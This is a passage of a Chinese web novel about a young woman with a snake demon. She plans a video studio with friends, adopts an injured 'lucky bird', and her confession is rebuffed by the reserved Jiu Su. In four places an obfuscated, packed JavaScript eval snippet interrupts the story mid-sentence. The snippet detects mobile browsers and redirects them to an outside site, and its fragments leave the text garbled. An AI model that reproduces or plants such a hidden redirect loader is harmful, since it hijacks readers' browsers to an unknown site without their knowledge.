她对着镜头,深深地再次鞠躬说:“以上这些,都是我个人因为眼红犯下的错,我已经深刻认识到了自己的错误。为了弥补我的过错,从今往后,‘今妖妖’这个账号不会继续更新,也恳请七日君女士、阿舒女士,以及各位网友的谅解。” 她再直起身来的时候,眼泪终于落了下来,关闭了直播,徒然留下一片黑下去的屏幕,与满屏乱飘的问号。 舒情奇怪地问:“我们还要求她账号停更了吗?” “没有,”戚昀夹了一筷子豆腐,“这是她工作室的要求……嗯,她不是个体户,背后挂靠了个工作室,叫‘今朝’,主要就是做妖怪短视频,她那条黑蛇妖‘阿宝’其实也是工作室养的。” “你和她类型比较像嘛,但论妖怪,小红的能量等级已经天花板了;论人,你视频又拍得比她好。今朝工作室觉得她打不过你,让她考虑转型,她倒好,跑来给我们买黑水。” “总之现在就是,这黑历史是彻底留下来了。与其让她继续运营一个有黑历史,还有个特别要命的竞争对手的号,还不如把阿宝交给别人养,过段时间再起个号……反正她的粉丝本来也都是冲着妖怪来的。” 舒情朝屏幕望了一眼。直播间虽然已经黑了,然而弹幕还没停。 “呜呜呜呜舍不得阿宝” “那边也太霸道了,道了歉还不行吗” “好歹偶尔更新两条阿宝的动态啊” “人退网就算了,但阿宝又没做错什么” “呜呜呜阿宝——” 舒情一时间有点心情复杂——她知道宠物up主的观众确实大多都是来看宠物的,但想到万一哪天自己走了,大家搞不好也只会舍不得小红,多少觉得有点不是滋味。 “但我们情况不一样啊。”她乐观地想,“小红是我一个人的,我又没有工作室。” 不知是怎样的心灵相通,戚昀恰好在这时候兴奋地提议:“我们也组团做个工作室怎么样?” 舒情猛地扭头看她,还做了个夸张的保护小蛇妖的肢体动作。 “喂!”戚昀哭笑不得地瞪她一眼,“没有和你抢小红的意思,就算我想抢,它也得能接受我啊!我是说真的,我觉得我这个影楼生意也不怎么样,倒是上次咱俩拍的视频不错,不如给它换个场子。” “昨天我爸刷到咱俩的视频,还说我们家没人做自媒体生意呢,我看,我能拉来现成的投资!” 舒情很快摆脱了那八竿子打不着的同理心,认真考虑起这个提议——她之前也想过要和戚昀长期合作,但仅限于租借场地和布景,并不是一起开工作室这种强绑定关系。 不过,开一家她们自己的工作室么…… “我主要负责场地和拉投资,你是总导演,”戚昀指指涂楠,“技术总监在此,咱们还有个妖怪研究专家当外援。听上去多靠谱啊,这不是比‘今朝’那种有前途多了?” 涂楠只是来吃个饭,莫名其妙地就被拉进了富二代的创业大计,也不好意思一口拒绝,只得默默地低头扒饭。 舒情严肃地一拱手:“敢问‘主公’有何高见?” “先生上座听我道来。”戚昀来劲了,与她一唱一和,“当下只有念念和小红可图大计,往后倘若有其他同好……啊,我是说,‘同道中人’加入,那就一起再拍别的妖怪。总之彼此取长补短,徐徐图之,没准以后能弄成个妖怪动物园系列,则大业可成矣!” 涂楠现在连饭也不能扒了,三个人被尬得七扭八歪地笑作一团。 小蛇妖默默地游开了,假装不认识这几个没溜的货;念念还不能理解人类的梗,莫名其妙地望着她们。 这番畅想和舒情自己脑中的愿景交织起来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15952640|176716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 深深地诱惑了她——幻想美好未来这种事,如果说话人自己都不信,那是妥妥的画饼;但要是说话人自己坚信不疑,那就是“Ihaveadream”。 只不过吧…… 她想到预想中的那位“外援研究专家”,到底忍不住叹了口气。 涂楠好不容易缓过来,问她:“怎么了?” “哦,没什么。”舒情笑眯眯地拧下了一只龙虾的脑袋,“想象了一下招贤纳士计划,想到了一些困难,在琢磨怎么撬开某张硬邦邦的嘴。” 小蛇妖微微一顿,放弃了瞄准她手里的虾肉,若无其事地换了一枚鹌鹑蛋吃。 涂楠莫名其妙地冒出了一个问号。 这顿饭就在“组建工作室”的讨论中吃完了。因为是周末,下午还有大把的闲暇时间,三个人就一起约着去附近的KTV唱歌蹦迪。 距离不远,她们彼此牵着手走在树荫底下,有说有笑地步行过去。戚昀叽叽喳喳地讲她对于开工作室的想法,一个扑棱棱的黑影忽然迎面扑过来,吓了她一跳,“什么东西!” 舒情眼尖,一把接住:“就是只鸟。哎,这个是喜鹊吗?” 她想仔细打量一下,然而那疑似喜鹊的鸟好似受了什么刺激,拼命地扑棱着翅膀要逃跑。舒情一下没抓稳,它就挣脱出去了,慌不择路地往路的另一边飞——然而没扑腾出去两米远,就一头栽到了柏油马路上。 还好是红灯,路上没有车,否则怕是已经被压成了一只纸片鸟。 涂楠赶紧把它捧起来,舒情抽了张纸,擦掉自己手上残留的血迹,探头看看:“好像是翅膀受伤了?” 戚昀拿手机搜索最近的宠物医院,很快指出了方向:“不远,往回走,六百多米。” 三个人原地掉头,那只小“喜鹊”到了涂楠手里,居然比在舒情手里乖巧得多,好像听懂了她们要带它去医院似的,不再挣扎了。 然而舒情一靠近,它就又扑着翅膀想跑,幸好涂楠吸取了教训,牢牢地抓住了它。 舒情和戚昀交换了位置,让戚昀走在中间隔开了她俩,无奈地吐槽:“自打养了小红,我基本就成了动物绝缘体了。” 小蛇妖甩甩尾巴。谁让她身上沾染了小妖王的气息呢,普通的动物和妖怪当然不敢靠近她。 “念念是妖怪,所以害怕小红。”戚昀脑洞大开,“这个不会也是个小妖怪吧?” 舒情解下了自己的手表,递给戚昀:“试试。”她解释,“这是个简易版本的‘自然能量测量仪’,专供我等麻瓜日常使用,贴过去看看读数就行。” 戚昀接过了手表。表盘的电子屏幕上显示着大大的“6”,指针本来指在浅黄区域和红色区域的交界线上,她这么一测,指针轻轻地动了动,有一瞬间跳到了显示为“7”的红色区,但还没来得及发出警报,就又回归了浅黄区域的极限值,数字显示仍然是“6”。 “这什么意思?” “一个简易麻瓜版检测仪器嘛,你能指望它有多准呢?”舒情摊摊手,“何况还有小红和念念在旁边干扰。不过指针刚才动了一下,意思就是说有可能是,然而能量波动太微弱了,不确定。回头送去超管局,做个完整的检测吧。” 戚昀将信将疑,拿这个手表贴在了念念身上。表盘的反应和刚才几乎一样,也就只是幅度更明显了些。 念念的清白得到了认证——看来干扰源主要在小红,和它并没有什么关系。 19. 吉祥鸟 捡到了这只“喜鹊”之后,她们的计划就发生了改变,彻底抛弃了原本唱K蹦迪的打算,从宠物医院出来,又一路直奔到超常规生物管理局。 舒情养着一只极其特殊的小妖怪,她不想和超管局时常联系都不行,现在就显出了好处。她在宠物医院打了电话,前台的工作人员就帮她排上了号,省了她们到了再排长队。 果然这次只等了半小时,就得到了检测结果——真的是个小妖怪,能量等级1.7级。 “吉祥鸟,这两年算是最常见的家养妖怪了。”前台已经不是上次舒情来的时候接待她的那个工作人员了,现在这位舒情没见过,但多次电话联系,也算是个熟人,“它能给人转运,逢凶化吉,一些有钱人家、或者做生意的人,都爱养这种鸟。” 戚昀不可置信地问:“吉祥鸟长这样?” 她家就做生意,公司里也养了一只装点门面的吉祥鸟,全身雪白的羽毛,羽毛末端色彩纷呈,恍若五色霞光流泻,漂亮极了。可惜这属于企业公物,不能给她,她这才一头扎进了养妖怪的深坑里。 眼前这只黑漆漆的……差得也太多了吧? 毕竟是近年来最常见的妖怪,用不着九素那个级别的专业人员来科普,前台工作人员就能给她们讲解:“看妖怪不能看表象特征。吉祥鸟有的看起来像喜鹊,有的像鹦鹉,区别很大,但关键特征是多种色彩的羽毛。” 她指着小吉祥鸟的翅膀说:“虽然不明显,但它身上也是有多色羽的,和普通喜鹊那种偏蓝色的光泽带完全不同。看,翅膀这里就是一圈暗红色的羽毛,尾羽上有暗金色……” 三个人循着工作人员的指点仔细看了看,果然如此,顿时惊叹,对它更加待见起来。 工作人员适时地说:“这种低等级的小妖怪,按照规定来说,登记之后就可以家养了。如果不想养的话,就把它留在超管局,我们会在它伤好之后将它放归。” “养养养,这妥妥的天降祥瑞,还能放生吗?”舒情笑说,和戚昀交换了一个眼色,问涂楠,“楠楠养吧?我俩都有自己的小妖怪了。” 涂楠万分心动,然而也很为难:“咱们三个一起救的。再说了,阿舒,你知道我的工作量……” 舒情可太知道了,昨天,星期六,涂楠半夜23:49下的班。 曾经同为冤种社畜,她惆怅地叹了口气——从前她在这个工作强度之下的时候,连条宠物蛇都不敢养。能照顾好自己就不错了,从哪挤出美国时间去照顾一只小妖怪? 舒情想了想,提议道:“算在楠楠名下,然后咱们放在影楼一起养着?不管工作室的事怎么样,咱们后面的视频肯定大多都是在影楼拍,楠楠有空了就可以过来看它。” 影楼距离涂楠家倒是不太远,这个提议得到了全票通过,工作人员就调出了一张表格,给涂楠登记。 小吉祥鸟的正式名字被登记为“发财”,寄托了少女们美好而朴素的愿望。 连戚昀一个堂堂富二代也不能免俗,她双手合十冲小吉祥鸟许愿:“信女愿献祭十斤赘肉,换工作室发大财!” 舒情紧接而上:“信女愿一生荤素搭配,祈祷我们一起发财!” “太没有诚意了,”戚昀说她,“就算不献祭赘肉……可恶,你没有赘肉。那好歹也得献祭点什么前上司、未来男友之类的吧?” 舒情于是献祭了前上司的高尚人格,涂楠一边填表,一边幽幽地说:“不要献祭这种不存在的东西好吗?” 这次连超管局工作人员都露出了心有戚戚焉的表情,可见这是天下社畜共同的心声。 舒情笑眯眯地不改口,戚昀忽然敏锐地觉察到了什么,八卦地追问:“未来男友已经存在了?” 涂楠在登记,不能像戚昀一样盯着舒情问,然而耳朵已经高高地竖起来了。 舒情:“没有的事。” 戚昀:“你脸都红了!” 涂楠手速如飞,填完了登记表,趁着工作人员操作的空荡回过身来,四只眼睛灼灼如贼地注视着她。 “……是九素,”舒情只好交代,“上次我生病,他来照顾我,我以为他对我有点那个意思,就……嗯,确实有一点点念头。” 她看盯着她的那两双眼睛已经亮如白炽灯了,赶紧澄清:“但后来我问了,他说并没有,纯纯属于‘朋友之谊’,所以真就是没有的事,我还单身得好好的呢。” 这次戚昀表情诡异起来了,她神情复杂地“啊”了一声。 舒情:“?” 甚至连前台后面操作登记流程的超管局工作人员,那手都微妙地顿了顿。 戚昀一脸复杂地说:“他那个要是叫做‘朋友之谊’的话,那咱们三个叫什么?” 舒情盯着戚昀,意识到了她知道些什么自己不知道的事。 “他朋友个头啊!”戚昀告诉她,“你那天在日料店忽然晕倒,我吓死了,一时没反应过来,他像闪现似的不知道怎么就过来了接住了你。我那时候以为你俩真就只是刚认识不久,就说,我送你去医院吧,我和你都是女孩子,方便。” “结果他看了我一眼……妈呀我在那一瞬间简直理解了念念看见小红是什么感觉。” “请戚小姐先去应付那些不怀好意的人吧。”那时,九素这样同她说道,他很快地垂下眼睫,遮挡住了冷而凶戾的眼神,语气疏远而客气,然而戚昀仍然全身阵阵发冷,“阿舒先交给我——不过,要快,至多三天。” 戚昀愣愣地点点头。 九素把舒情横抱起来。他看上去很清瘦,而且苍白,但抱着她的时候却很稳,不知道怎么的就有一种说服力,让戚昀觉得把舒情交给他不需要担心。 “那些‘舆论’‘节奏’的事,我不太懂,现在去学,也来不及,只得拜托戚小姐了。”他平静地交代,“但倘若实在需要一些特殊手段,戚小姐可以找我。” 他不知道从哪拽下来一片很小的形状不规则的玉,扣在了桌子上,告诉戚昀:“对着它说话,我能听到。” 戚昀自认为自己对八卦以外的事都十分大条,但在这一瞬间,她几乎毫无阻碍地理解了九 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15964752|176716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 素话里的意思——如果她解决不了今妖妖这件事,九素打算动用一些灵异手段,物理性地解决问题。 她不太敢深想这“物理性解决”会是个什么后果,九素说这句话的时候非常平静,然而她隐隐竟能嗅到血气。 ——作为一个富二代,对某些晦暗的东西,戚昀反倒比舒情、涂楠这种普通人更了解一些。 但是她也不觉得九素可怕,因为九素看舒情的眼神实在是……称得上柔软了,而她视舒情为好友,那么九素也是自己人。自己人就算吓人点、不择手段点,那毕竟也还是内部矛盾。 只是这关系让她感觉有点困惑,她追上九素,问:“你是阿舒的男朋友吗?” 九素微不可察地一顿,断然否认:“不是。” 他好像怀抱着整个世界,然而说出口的话却是:“我只是个陌生人。” “……我以为他是暗恋你呢。”戚昀说,“我看他对你箭头挺粗,你对他嘛,嗯,起码我没看出来什么‘欣赏’以外的意思。” “但你说你有这个意思了……那我就看不懂了,两边都有意思,在一起不就得了吗?” 舒情也完全弄不懂那人曲折如迷宫的脑回路,她听完,发了一会呆,问:“那片玉呢?” “哦,在这,我没用呢。”戚昀二话不说地给了她,“我当时就觉得这不是什么普通的联络方式,也没敢瞎用,还是给你吧,比放在我这儿好。” 舒情也不推辞,道了声谢,接过来,握在手里,冰凉沁滑,除了小了点以外,是片好玉。 他……到底是什么意思呢? 他为了什么呢? “涂小姐!”工作人员这时递过来一张普通的驯养许可证,叫醒了沉迷于闺蜜恋爱八卦中的涂楠,“办好了,这就可以了。” 三个人一同道了谢,叽叽喳喳地聊着八卦走远了,工作人员一言难尽地望着她们的背影,尤其看了看盘在舒情身上的那条小白蛇,不忍卒睹地捂住了脑袋。 她此时想起的是她从首都超管局总部外勤调到H市时,谢衡出示给她的那份绝密档案。 “能量等级无法测定”、“历史上已知伤亡人数最大规模的灾害”…… “无知无畏,”她摇着头感叹道,“小姑娘命真大啊。” “命真大啊,”一百多公里以外的S市,一个戴着墨镜的中年男人对着事件汇报文档,啧啧叹息,“也是,小姑娘有福气……是个心软的小姑娘啊,你说,到底是心软的孩子容易走运,还是走运的孩子,才有那个机会心软呢?” 助理站在一边,低着头屏息不语,压根儿不敢接话。 墨镜男人点了点触屏上舒情的正面一寸照,微笑着说:“多好看的小姑娘。” 助理把头低得更低了一些。 “就那么办吧,S-073号不是也长大了吗?”墨镜男人吩咐,“给她一点教训吧。” “断人钱财如杀人父母,小姑娘太年轻了,还不懂得这个道理。”他含笑说,“咱们这些道上的前辈,不就得想法子教一教吗?” 20. 吊坠 从超管局离开的时候,已经将近黄昏。晚饭后,社畜涂楠明天还要上早九,遗憾地和小伙伴们告别,舒情和戚昀无所谓工作日和休息日,就把吉祥鸟带回影楼,点了茶水,继续聊工作室的话题。 “我找人来把影楼重新装修一下,”戚昀对着平面图指指点点,“化妆间就不要了,多隔几个风格不一样的摄影棚出来。发财平时就放在前台,这个会议室和旁边的道具间打穿,改个大家一起的休息室,给小妖怪们搭个舒服的游乐区。” 舒情在购物软件上找适合搭游乐区的摆件,念念吱吱叫着,指着一个植物缠绕的爬架蹦蹦跳跳。 她就把那个爬架加入了购物车,盯着念念打量了一会,确信地说:“念念反应比之前快多了。” 戚昀深有同感地点点头。 舒情回想片刻——她一开始拍的那两支视频不用说了,黑红也是红,后来事情澄清以后,念念的情况就明显好转了不少。昨天她又上传了一段小红和念念的日常视频,数据当然没有她精心设计情节的视频好,但日常番也有受众,反响依然不错。 今天再看念念,几乎已经完全不显得迟钝了,可见她的“金手指”确实有效果。 既然如此……她是不是也能去拐一把发财? 舒情找了纸笔开始涂涂画画,戚昀坐过来看,看了两眼就懂了,问:“下个视频你想拍发财?” “嗯。”舒情画了几笔,感觉不好,又撕掉了,“我感觉小红和发财这种天敌关系,可以玩玩梗,但又担心发财害怕。” 戚昀想摸一下挂在舒情身上的小蛇妖,又不敢,只得问:“小红怎么好像一直在睡觉啊。” 除了晚饭的时候醒过来吃了点东西,这一天好像都在睡,乖得都不像它了。 “没关系,它这两天都这样,我问过九素,它就是累了。”舒情低头轻轻摸摸小蛇的脑袋,声音都不自觉地轻柔了许多,“上回我生病,它受了不少惊吓,这几天,就让它好好休息吧。” 戚昀理解地点点头,怕自己坐在这打扰舒情创作,带着念念去到了另一张桌子边上,开始写用于拉投资的计划——虽说是个富二代,但正经想创业拉家人投资的话,她也得写个看得过去的ppt。 舒情咬着笔杆子,怎么画都觉得不好,画一页撕一页,心浮气躁。最后,她还是认命地戳开了手机。 “我们今天捡到一只吉祥鸟。”她打字告诉九素,“想给它拍一支视频,但从超管局那边得到的信息还是比较少,只知道五色羽毛、逢凶化吉这些……有没有什么其他的资料?” 发送之后,她感觉去掉了“前辈”这个称呼,显得太冷漠、太生硬了,于是又挑了张【蛇蛇卖萌】的表情包一并发送——这是她拿小红当素材特意出的一套表情包,当福利送给了粉丝们,托词是“谢谢大家在今妖妖事件中的支持和信任”。 事实是,她就是想给大家显摆一下她的蛇崽子。 今天是画不成了,舒情干脆就告辞回了家,打算等明天收到了九素的回复之后再战。 谁知道第二天,没收到九素的回信,反倒是九素本人杀到了她家门口,礼貌地敲响了她家的门。 他还是原先的样子,每次见面都是一身从头白到脚的衣裤,好像多沾染上一分颜色,就要从此红尘缠身,永不得挣脱似的。 这次甚至比上次见面的时候更甚,上次好歹还红唇齿白的,这一次连嘴唇都白得显出了几分透明,仿佛传说中即将魂散的鬼魅。 以至于舒情一拉开门,都愣住了,下意识问的第一句话是:“你没事吧?” 九素摇摇头。 舒情拉他:“那你赶紧进来坐啊。”别站在楼道里让穿堂风吹。 “不方便。”九素拒绝说,“我只有几句话,说完就走。” 一句话把舒情给气乐了——她生病卧床的时候,他跑到她家里来给她做饭吃,那时候不觉得不方便。现在差不多算混熟了,她身体健康衣着整齐,他反而想起来不方便了? 怎么着,之前问心无愧,现在他问心有愧了? 九素递给她一枚小挂坠。看着像是一颗水滴形状的半透明白玉,晶莹剔透,光润纯净,里面含着一滴耀眼夺目的赤红,蜿蜒着丝丝缕缕的红色丝线,煞是好看。 舒情看到它的一瞬间,就莫名联想到了小红。 她十分迷惑:这枚精致好看的项坠,要是放在一个适配的礼品盒里交给她,那妥妥是男人送女人礼物,表示好感的意思。 但九素就这么平平无奇地递给了她,像同事之间递个笔、递个u盘似的随意,甚至连个挂它的链子都没有,她就只能盯着九素看,吃不准他想表达什么。 “你记得随身佩戴。”九素淡淡地说,“你那个‘金手指’不是有利无害的,你应该也已经意识到了。” 舒情眉梢一跳,她从来没跟九素提过金手指的事啊? 她自打和涂楠提过一次,涂楠没信,她就再没有和任何人说过了。 他是怎么知道的,或者是他自己看出来的? 但当务之急也不是追究九素的信息来源,舒情问:“你说我上次生病是因为……?” 九素点头。 “所以这个东西,”舒情将那枚吊坠拿在手里反复看,“它能替我挡掉不好的那部分?” “是。”九素补充说,“但不是永久的,等到它变得浑浊灰黑的时候,就不能再随身戴着了,要尽快扔掉。我会给你换新的。” 舒情默然地将它攥在手心里,好半天没说话,看九素冲她点点头,转身要走,这才叫住他:“等一下。” 她干脆进屋拿上了门卡,回手关上房门,一路把九素带到了佳加公寓的公共休息区,请他坐下,然后倒了两杯水,摆出一副有许多话要说的架势。 “谢谢你。”舒情笑吟吟地说,“我这个人脸皮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969195|176716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比较厚,欠别人一点人情,本来也无所谓,但我欠你的人情,好像有点过于多了。” 九素脸上彻底一点血色也找不到了。 舒情赶紧追加说明:“你别误会,我不是说以后就不往来的意思……我是说,我觉得有点于心不安,想做点什么事来回报你。” 九素沉默地听着。 “一般人吧,图的无非也就是那几样,权、财、名、色,哦,可能还有情绪价值。”舒情把拳头递到九素面前,说一样,伸开一个手指头,最后在他眼前晃了晃手掌。 “权……这个跳过,我一点没有。”她逐个数过去,“财和名,也许我可以提供一点,但我觉得吧,你要是图这个,早就跟我摊开说明白签合同画押了,所以应该也不是。” “没办法,我只能以为你是看上我了,想要的是‘色’和情绪价值。”舒情一手托腮,笑眯眯地说,“正好,我单身,看你也十分顺眼,咱们大可以光明正大的呀。” “我挺忙的,我看你也挺忙,咱俩大大方方的不好吗,没必要非得拉扯八百回合吧?” 九素喉头上下一动,凝目注视着她,她笑起来的时候两眼弯弯,像两枚毛茸茸的钩,积年累月地钩在心口,无日不可或忘。 倘若不是还有更深的伤痕,他大概也就真的这么被她愿者上钩地钓起来,心甘情愿被她猎获了吧。 他凝望了她片刻,终于垂下眼睛,拒绝道:“上次,我已经说清楚了。” 舒情对此已经有了心理准备,她收回了手,撑着下巴盯着九素,反问他:“那你到底想要什么呢?” 九素嘴唇微微一动,到底默然不答——“我就不能什么都不想要吗”,这话说出来,太假了,他自己也知道无法取信于人。 “如果不告诉我的话,我会很担心,你想要的是什么我不能割舍的……”舒情面无表情地说,“比如说,小红。” 她追问:“躲着小红的人和妖怪,实在是挺多的。但小红躲着的人,目前为止,只有你一个。我没想明白,这是为什么?” “妖怪躲着我,很奇怪吗?”九素冷硬地回答,“我对你的小红没有丝毫兴趣。” 舒情从他的前半句话里提取出了某些信息,从中发散出了满脑袋猜想,她强行统一压下清空,支着下巴等待九素继续说下去。 她此刻强压着唇角,尽力收敛着笑容,然而那笑意仍然从眼瞳里流露出来,一双眼睛亮若晨星,满怀期待地盯着九素。 九素一瞬间就明白了,她是在套自己的话——她压根儿就没有怀疑他居心不良的意思,她就是故意激他一下,好让他承认,他到底是不是喜欢她。 不只如此,她还有理有据地把所有选项都排除掉了,叫他再没有一口否认的余地…… 真是个狡猾的姑娘。 “是,如你所想,”九素撩起眼睫,尖锐的目光对上了她的视线,“但那又怎样?” 21. 霉运 舒情被他这一句话问得都愣住了,几乎怀疑九素说的这句“如你所想”指代的并不是“你是看上我了”,而是“你是不是图谋我的小红”——正常人交换心意,哪有交换得这样剑拔弩张的,怎么承认心意在他看来是和举白旗投降一样的事吗? 她说不出话,九素也不说话,两个人目光胶着,凭眼神过招了上百个回合。 路过公共休息区的人们都忍不住,朝他们投来好奇的眼神。 “能、能怎么样?”舒情半天才找到了自己的声音,“你要是想……” 九素截口说:“我并不想。” 他站起来,居高临下地望着舒情,他本来就长得一副拒人于千里之外的模样,眼神这么从高处投下来,显得更加冰冷而疏远。 “我只想和你以朋友相交。”他说,“你也只能把我当成一个寻常的朋友看待。” 舒情简直是莫名其妙,她也站了起来,虽说生理条件所限,还是没有九素高,但起码看上去不落下风,两个人势均力敌。 她问:“为什么?没听说过这样的道理,我们彼此喜欢,但必须只做普通朋友?”想了想,又追问,“你是不是有什么为难的事?不能说出来,一起解决吗?” “没有。”九素冷冷地回答说,“你也不需要知道为什么,就当做是我从前欠你的吧。” 舒情:“…………” 她这回真的是彻底无话可答了——他帮她补课,对她有问必答,在她生病的时候照顾她,帮她解决问题,送给她看一眼就知道很值钱的护身符。凡此种种加起来,竟还没有还完,他欠了她什么债? 她这么一个轻易不让自己吃亏的人,对上9.2级妖怪都敢正面硬刚,什么时候被人欠了这么一笔账,自己还不明所以过? 九素等了几秒钟,自行把她的无语理解成了“没有疑问”,于是扭头就走了,丝毫没有留恋。 只剩下舒情一个人在原地凌乱,整个人的逻辑和世界观都遭受了重大的挑战。 “不是,这个人到底是怎么想的?”她站在楼道里吹了五分钟的风,回到房间,仍然是一脑门子官司,只好抱着小蛇叨叨,“是我哪句话说错了,把他惹毛了?还是他有什么特别的来历,有什么不能谈恋爱的禁令之类?” 她脑洞大开地琢磨了半天,最后得出了结论:“我是撞上了一个活的‘无情道’吗?” 小蛇:“……” 小蛇妖恨不得一口咬死她算了。 它忍住了,翻个白眼,探头戳了戳她装在口袋里的白玉吊坠,示意她别这么主次不分,先把护身符戴上再说。 舒情也知道轻重,她拆了一根平时不戴的项链,穿好了,贴身戴在身上。 吊坠冰冰凉凉地贴着心口,她想到这是那人送的,感到更暧昧了,论起来,这比戒指手镯什么的还亲密多了啊…… 舒情点点小蛇妖的脑袋,问:“他到底是打哪来的,你为什么不见他呢?” 小蛇妖无法回答,而眼睛会泄露秘密,只有别过头去,避开她的视线。 “啊,对了。”舒情忽然想起来,瘫在床上哀叹一声,“光顾着说这个了,吉祥鸟的事忘了问他,还有工作室的事,也没来得及跟他提……” 都说英雄气短儿女情长,她这“儿女情”八字还没一撇呢,已经开始耽误正事了,可见男人当真影响拔刀的速度。 她在床上痛苦地翻滚了两圈,终于爬了起来,意识到逃避无用,她得去面对问题。 她点开了和九素的会话框。不管九素到底是出于什么原因拒绝了她,他的态度已经表达得非常明白了。就算他真就是个修无情道的,都不肯和她在一起了,当然也没有那什么“杀爱证道”之类的打算,总之对她无害。 感情是两个人的事,既然他不肯,那就该尊重他的决定,她没必要刨根问底。 “抱歉,今天有点唐突。”舒情郑重地敲下一行字,“往后我不会再提这件事了。我们还是以朋友论交,以后你有什么需要我帮忙的,和我说一声就行。” 她点了“发送”,心里虽然还有那么一点微弱的怅然若失,然而到底是放下了这桩心事,转头上网去检索吉祥鸟的信息了。 小蛇盘在电脑椅背上陪她,默默地凝望着她的侧脸,心想,她倘若从前也是这样就好了。 说放下就放下,毫无留恋地抽身而去,就留下他一个人深陷爱恨,不可自拔…… 假如前世也是这样,就好了。 “怎么办,我完全没有灵感。”半小时以后,舒情整个人往椅背上一倒,用脸去蹭盘在电脑椅背上的小蛇,苦恼地说,“想来想去,都觉得没意思,要不干脆就来个卖萌日常向算了?反正小鸟卖萌也说得过去……” 小蛇颇有点嫌弃地避开了她的脸,脑袋搁在了她的肩窝里,吐吐信子。 它觉得都好啊。不管她拍什么,都有许多人关注,说明她的专业能力丝毫不弱于人,轮不到其他人来指点她。 “……不行,”舒情又否决了自己,“发财的第一条视频,第一次亮相,不能这么随便。更何况可能还要作为工作室组建之后的首发视频……还是得好好设计。” 她叹了口气,胡乱地揉了小蛇一把,埋头继续苦思冥想去了。 今天也不知道是为什么,她格外感觉灵感枯竭,搜索枯肠一上午,又和戚昀商量半天,才勉强有了个说得过去的思路——她选定了“工作室筹办花絮”主题,打算把发财cos成一个天使,就拍摄工作室创建之前,人和妖怪如何对着发财许愿,以及这愿望如何被调剂实现。 等这条视频发布之后,再用日常短视频进行倒计时,最后发布工作室成立的官宣视频,三个步骤依次铺垫声势,也算是个不错的开头。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977200|176716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 方向选定了,分镜设计推进得也不顺利,半天下来,才画了一小半。 舒情看看时间,放下笔,打算给自己换换脑子,做点吃的。 “就弄点家常小菜吧,”舒情快手快脚地收拾食材,还和小红说,“反正就只有我和你。炒虾仁、肉片、小青菜……再打个番茄蛋汤,你觉得呢?” 小蛇趴在她肩膀上,没有意见,反正她的手艺,做什么都是那样,能吃就可以了。 但是……它没想到,她今天做个饭居然翻车翻出了新花样。 先是切菜的时候,一边惦记着她没画完的分镜,一边挥舞菜刀,结果差点切到了自己的手——还好小蛇反应快,眼看着她那菜刀朝着手指头去的时候,及时一尾巴甩上去拍开了她的刀,好悬避免了一场血案。 舒情虽说躲过了肢体伤害,精神上却受到了巨大的惊吓,抓着小蛇的尾巴反复看。 小蛇缩回了尾巴,冲她灵活地摆了摆,以示自己完全没有事。 它不敢让她碰到尾巴,幻术能骗过视觉,然而伸手触碰的时候却会露馅……从前夜起,它的尾巴上少了两圈鳞片,现在光秃秃的,还渗着细微的血丝,难看得简直不堪入目。 他们朝夕相处,指望她不发现恐怕不容易,只好先用幻术糊弄着她了。 它蜷在舒情肩上,躲在她背后,低下头自己悄悄地舔了舔伤口。 先瞒着她吧。反正妖怪恢复起来快,再过个四五天就能长好,到时就不怕她发现了。 舒情看它没事,放下心,这次不敢再走神,专心地应付手底下的菜,平安无事地收拾完,进锅翻炒。然而炒菜的时候居然也能出意外,用的明明是电磁炉,锅里的油居然也能着火,火苗窜起来一米高。 小蛇只好又吐出来一口霜气来灭火,被迫承担了芭蕉扇的功能,总算没有触发火警警报。 舒情匆忙关上电磁炉,定睛看看,锅里的虾仁都烧成了焦炭,显然是吃不上了。 “什么鬼,”她对着厨房里的一片混乱,脸皱成一团,“我今天命犯太岁?” 没有灵感、切菜切到手、炒菜翻车,这都正常,不是什么不可能发生的事。但密集地发生在同一天里,就离谱了,她从来没有厨房杀手到这个程度啊? 